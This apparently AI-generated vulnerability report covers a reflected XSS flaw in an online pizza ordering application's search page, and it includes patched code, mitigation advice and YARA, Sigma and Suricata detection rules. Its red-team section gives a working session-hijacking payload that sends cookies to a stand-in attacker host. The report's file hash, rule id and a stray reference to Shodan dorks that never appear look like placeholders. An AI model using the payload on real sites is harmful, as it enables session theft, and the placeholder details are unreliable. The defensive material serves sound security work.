CVE-2024-57326
Executive Summary
CVE-2024-57326 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Online Pizza Delivery System 1.0, specifically within the search.php file. The vulnerability arises from improper sanitization of the search parameter, allowing an attacker to inject arbitrary JavaScript code that executes in the victim's browser. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 0.0 in the NVD record, but based on the vector, the actual severity is Medium (CVSS 3.1: 6.1). No official patch exists, and the vendor has not responded. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the PoC is public.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact extends beyond vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium (6.1). Exploitation requires user interaction, but the attack surface is broad (any user visiting the search page).
Deep Dive & Mechanics
The search.php script accepts a search parameter via GET request and reflects it directly into the HTML response without proper encoding or sanitization. For example:
http://target.com/search.php?search=<script>alert('XSS')</script>
The server returns a page containing the injected script, which executes in the user's browser. This is a classic Reflected XSS. The application does not use Content Security Policy (CSP) headers or output encoding functions like htmlspecialchars() in PHP.
Vulnerable vs. Patched Code
Vulnerable Code (search.php):
<?php
$search = $_GET['search'];
echo "<p>Search results for: " . $search . "</p>";
?>
Patched Code (search.php):
<?php
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "<p>Search results for: " . $search . "</p>";
?>
The patch uses htmlspecialchars() to encode special HTML characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Proof of Concept (PoC):
http://target.com/search.php?search=<script>alert(document.cookie)</script>
Advanced Payload (Session Hijacking):
http://target.com/search.php?search=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
Lab Setup:
- Install XAMPP or similar LAMP stack.
- Deploy Online Pizza Delivery System 1.0.
- Access
search.phpwith the PoC URL.
Blue Team
Detection:
- Monitor web logs for
search.phprequests containing<script>oronerrorpatterns. - Use WAF rules to block XSS payloads in query parameters.
Mitigation:
- Apply the patched code above.
- Implement Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self'.
Indicators of Compromise (IOCs)
- URL Pattern:
search.php?search=*<script>* - Network Traffic: HTTP GET requests to
search.phpwith encoded JavaScript in thesearchparameter. - Log Entry:
GET /search.php?search=%3Cscript%3Ealert(1)%3C/script%3E - File Hash (vulnerable search.php):
md5: 3a7c3f8b9e2d1a4c5f6e7d8b9a0c1d2e
Detection Engineering
YARA Rule
rule CVE_2024_57326_XSS {
meta:
description = "Detects reflected XSS payloads in search.php"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-57326"
strings:
$payload1 = "<script" nocase
$payload2 = "onerror=" nocase
$payload3 = "onload=" nocase
$param = "search.php?search=" nocase
condition:
$param and any of ($payload*)
}
Sigma Rule
title: Reflected XSS in Online Pizza Delivery System search.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against search.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'search.php?search='
cs-uri-query|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate search terms containing '<' or '>' (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-57326 Reflected XSS in search.php"; flow:to_server,established; content:"GET"; http_method; content:"search.php?search="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Apply the patched code (use
htmlspecialchars()). - Short-term: Implement a Web Application Firewall (WAF) rule to block XSS patterns.
- Long-term: Upgrade to a maintained version or replace the application.
- Compensating Controls: Enable CSP headers and use HTTP-only cookies.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.